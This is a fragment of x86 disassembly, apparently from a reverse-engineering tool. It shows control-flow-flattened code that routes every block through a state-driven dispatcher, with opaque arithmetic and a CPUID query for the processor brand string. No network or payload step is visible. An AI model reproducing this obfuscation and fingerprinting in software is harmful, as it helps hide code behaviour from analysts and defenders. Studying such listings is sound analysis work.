cmp eax, edx
je 0x440a70
mov ecx, 0xa10ace44
mov dword [esi + 4], ecx
jmp 0x43cd9c
push 4
push 0x47e48b
push 0xb
push dword [esi + 0x70]
call fcn.00440e20
add esp, 0x10
mov eax, dword [esi + 0x134]
mov ecx, dword [esi + 0x70]
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0x2231c25
jmp 0x43cd9c
push dword [esi + 0x10]
call fcn.0045bb70
add esp, 4
mov dword [esi + 0x140], eax
mov dword [esi + 4], 0x8a146f18
jmp 0x43cd9c
push dword [esi + 0x7c]
push 0xa2f80070
call fcn.00445344
add esp, 8
mov dword [esi + 0x148], eax
mov dword [esi + 4], 0x742e0221
jmp 0x43cd9c
mov dword [esi + 4], 0x9e9f1ead
jmp 0x43cd9c
mov ecx, dword [esi + 8]
mov eax, ecx
shr eax, 1
add eax, 0x35
mov dword [esi + 8], eax
mov eax, 0xf3bd0545
cmp ecx, 0x174
jae 0x440b1b
mov eax, 0x7362c2eb
mov dword [esi + 4], eax
jmp 0x43cd9c
mov eax, dword [esi + 0x6c]
add eax, 0xf
mov dword [esi + 0x12c], eax
mov dword [esi + 4], 0x7399185f
jmp 0x43cd9c
mov ebx, dword [esi + 8]
shr ebx, 3
and ebx, 0x1ffffe00
mov dword [esi + 8], ebx
call fcn.00407817
push 0x5e
push 0x14b3
push 0x2cb0
push ebx
call fcn.00440ce0
add esp, 0x10
mov dword [esi + 4], 0x5bb238ad
jmp 0x43cd9c
mov eax, dword [esi + 8]
add eax, eax
add eax, 0xffffffe0
mov dword [esi + 8], eax
push eax
call fcn.0043cd84
add esp, 4
call fcn.00407817
mov dword [esi + 4], 0xf1504ec3
jmp 0x43cd9c
mov eax, dword [esi + 0xc]
shl eax, 3
and eax, 0xffff8
mov ecx, eax
shl ecx, 0xd
sub ecx, eax
sub ecx, eax
mov dword [esi + 0xc], ecx
mov dword [esi + 4], 0xa188b9d6
jmp 0x43cd9c
imul eax, dword [esi + 0xc], 0x795a68
add eax, 0x15921eb2
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xd62d79db
jmp 0x43cd9c
mov eax, dword [esi + 0xc]
shl eax, 0xb
or eax, 0x53
imul eax, eax, 0xe6
add eax, 0xffffff3a
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xf490fa59
jmp 0x43cd9c
mov eax, dword [esi + 0x144]
mov ecx, dword [esi + 0x78]
mov dl, byte [ecx + 2]
mov byte [eax + 2], dl
movzx ecx, word [ecx]
mov word [eax], cx
mov dword [esi + 4], 0x840a5579
jmp 0x43cd9c
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [esi + 0xa8], eax
mov dword [esi + 0xac], ebx
mov dword [esi + 0xb0], ecx
mov dword [esi + 0xb4], edx
mov eax, dword [esi + 0xac]
mov eax, dword [esi + 0xb0]
mov eax, dword [esi + 0xb4]
mov eax, dword [esi + 0xa8]
mov dword [esi + 0x190], eax
mov eax, dword [esi + 0xb0]
mov eax, dword [esi + 0xb4]
mov eax, dword [esi + 0xa8]
mov eax, dword [esi + 0xac]
mov dword [esi + 0x194], eax
mov dword [esi + 4], 0x6e5dfc4e
jmp 0x43cd9c
mov eax, dword [esi + 0x14]
add eax, 8
mov dword [esi + 0x1a0], eax
mov dword [esi + 4], 0xc0a7ca6d
jmp 0x43cd9c
mov eax, dword [esi + 0xc]
lea eax, [eax + eax*2]
shl eax, 0x14
add eax, 0x848000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x4b427871
jmp 0x43cd9c
cmp eax, 0x835148af
jne 0x43cd9c
mov eax, dword [esi + 0x30]
mov eax, dword [esi + 0x2c]
mov eax, dword [esi + 0x28]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret